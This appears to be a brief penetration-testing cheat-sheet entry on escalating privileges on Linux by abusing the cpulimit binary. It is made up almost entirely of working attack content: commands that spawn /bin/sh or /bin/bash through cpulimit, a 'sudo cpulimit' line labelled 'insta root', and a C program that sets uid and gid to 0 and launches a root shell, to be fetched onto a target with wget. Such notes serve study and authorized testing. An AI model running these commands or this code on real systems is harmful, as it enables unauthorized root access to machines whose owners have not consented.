/usr/bin/cpulimit
Once you get the shell craft a simple C exploit on kali, then wget into target
#Escape the current shell
/usr/bin/cpulimit -l 95 -f /bin/bash
or
cpulimit -l 100 -f /bin/sh
#insta root
sudo cpulimit -l 100 -f /bin/sh
#C exploit
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (void) {
setuid(0);
setgid(0);
system ("/bin/bash");
return 0;
}
Last updated